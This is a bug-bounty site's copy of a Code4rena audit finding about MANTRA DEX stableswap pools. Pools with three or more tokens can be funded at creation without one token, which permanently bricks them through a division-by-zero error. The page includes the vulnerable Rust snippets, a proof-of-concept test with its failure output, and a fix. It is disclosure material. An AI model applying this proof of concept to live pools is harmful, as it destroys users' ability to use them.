Skip to content
Business logic Audit finding Intermediate

Multi-token stableswap pools allow 0 liquidity for tokens, creating bricked pools

Stableswap pools with more than two tokens did not require every pool token to be supplied during the first liquidity deposit, so a pool could be created with zero liquidity for one token. That left the pool permanently unusable, because later deposits hit a division-by-zero error.

carrotsmuggler Follow with 0xAlix2, 0xRajkumar and 3 others

Originally disclosed on Code4rena

Submitted by carrotsmuggler, also found by 0xAlix2, 0xRajkumar, Abdessamed, carrotsmuggler, and LonnyFlash

/contracts/pool-manager/src/liquidity/commands.rs#L46-L74

/contracts/pool-manager/src/liquidity/commands.rs#L234-L239

Finding description and impact

The stableswap pools allow anyone to create pools following the stableswap formula with any number of tokens. This can be higher than 2. The issue is that the initial provide_liquidity does not check if ALL tokens are provided.

The provide_liquidity function does a number of checks. For the ConstantProduct pools, the constant product part uses both deposits[0] and deposits[1] to calculate the initial number of shares, and uses a product of the two. So anyone being absent or 0 leads to reverts during the initial liquidity addition itself.

However, the stableswap pools do not check if the initial liquidity provided is non-zero for all the tokens. So if only 2 of the three tokens are provided, the transaction still goes through. The only check is that all the passed in tokens must be pool constituents.

ensure!(
        deposits.iter().all(|asset| pool_assets
            .iter()
            .any(|pool_asset| pool_asset.denom == asset.denom)),
        ContractError::AssetMismatch
    );

This leads to a broken pool, where further liquidity cannot be added anymore. This is because the pool is saved in a state where the pool has 0 liquidity for one of the tokens. Then in future liquidity additions, amount_times_coins value evaluates to 0 for those tokens, which eventually leads to a division by zero error in d_prod calculation.

let amount_times_coins: Vec<Uint128> = deposits
    .iter()
    .map(|coin| coin.amount.checked_mul(n_coins).unwrap())
    .collect();

// ...

for _ in 0..256 {
    let mut d_prod = d;
    for amount in amount_times_coins.clone().into_iter() {
        d_prod = d_prod
            .checked_mul(d)
            .unwrap()
            .checked_div(amount.into()) //@audit division by zero
            .unwrap();
// ...

Thus this leads to a broken pool and there is nothing in the contract preventing this.

Proof of Concept

Attached is a POC where a pool is created with 3 tokens [uwhale,uluna,uusd] but only 2 tokens are provided in the initial liquidity addition [uwhale, ulune]. Further liquidity additions revert due to division by zero error.

fn multiswap_test() {
    let mut suite = TestingSuite::default_with_balances(
        vec![
            coin(1_000_000_001u128, "uwhale".to_string()),
            coin(1_000_000_000u128, "uluna".to_string()),
            coin(1_000_000_001u128, "uusd".to_string()),
            coin(1_000_000_001u128, "uom".to_string()),
        ],
        StargateMock::new("uom".to_string(), "8888".to_string()),
    );
    let creator = suite.creator();
    let _other = suite.senders[1].clone();
    let _unauthorized = suite.senders[2].clone();

    let asset_infos = vec![
        "uwhale".to_string(),
        "uluna".to_string(),
        "uusd".to_string(),
    ];

    // Protocol fee is 0.01% and swap fee is 0.02% and burn fee is 0%
    let pool_fees = PoolFee {
        protocol_fee: Fee {
            share: Decimal::from_ratio(1u128, 1000u128),
        },
        swap_fee: Fee {
            share: Decimal::from_ratio(1u128, 10_000_u128),
        },
        burn_fee: Fee {
            share: Decimal::zero(),
        },
        extra_fees: vec![],
    };

    // Create a pool
    suite.instantiate_default().create_pool(
        &creator,
        asset_infos,
        vec![6u8, 6u8, 6u8],
        pool_fees,
        PoolType::StableSwap { amp: 100 },
        Some("whale.uluna.uusd".to_string()),
        vec![coin(1000, "uusd"), coin(8888, "uom")],
        |result| {
            result.unwrap();
        },
    );

    // Add liquidity with only 2 tokens
    suite.provide_liquidity(
        &creator,
        "o.whale.uluna.uusd".to_string(),
        None,
        None,
        None,
        None,
        vec![
            Coin {
                denom: "uwhale".to_string(),
                amount: Uint128::from(1_000_000u128),
            },
            Coin {
                denom: "uluna".to_string(),
                amount: Uint128::from(1_000_000u128),
            },
        ],
        |result| {
            result.unwrap();
        },
    );
}

The above test passes, showing liquidity can be added with 2 tokens only. Further liquidity provision reverts.

// Add liquidity again
suite.provide_liquidity(
    &creator,
    "o.whale.uluna.uusd".to_string(),
    None,
    None,
    None,
    None,
    vec![
        Coin {
            denom: "uwhale".to_string(),
            amount: Uint128::from(1_000_000u128),
        },
        Coin {
            denom: "uluna".to_string(),
            amount: Uint128::from(1_000_000u128),
        },
    ],
    |result| {
        result.unwrap();
    },
);

Output:

thread 'tests::integration_tests::provide_liquidity::multiswap_test' panicked at contracts/pool-manager/src/helpers.rs:737:22:
called `Result::unwrap()` on an `Err` value: DivideByZeroError
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
test tests::integration_tests::provide_liquidity::multiswap_test ... FAILED

Recommended mitigation steps

Add a check to make sure if total supply=0, every token of the pool is provided as liquidity.

jvr0x (MANTRA) confirmed


The original report as published on Code4rena, by carrotsmuggler. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the initial liquidity path only verified that supplied tokens belong to the pool, not that every pool token was supplied with a non-zero amount, so a zero balance later caused a division by zero.

Impact

The affected pool becomes permanently unusable, as no further liquidity can be added, though only pools created this way are affected.

What the attacker needed

Ability to create a stableswap pool; pool has three or more tokens

The fix

The report recommends requiring that when total supply is zero, every token of the pool is provided as liquidity.

How it was found

  1. Create a stableswap pool with three tokens.
  2. Provide initial liquidity using only two of the three tokens.
  3. Observe that the deposit succeeds and the pool is saved with zero liquidity for the third token.
  4. Attempt a further liquidity deposit and observe it reverts with a division-by-zero error.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A liquidity pool is a shared pot of different tokens that people trade against. When a pool is first set up, it needs some of every token in it. Here the setup check was missing for pools with three or more tokens, so someone could open a pool while leaving one token out entirely. After that, the pool's maths tried to divide by that missing amount and failed, so nobody could ever add funds again.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by carrotsmuggler

View all

42 more disclosed reports, best first.

More from MANTRA DEX

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.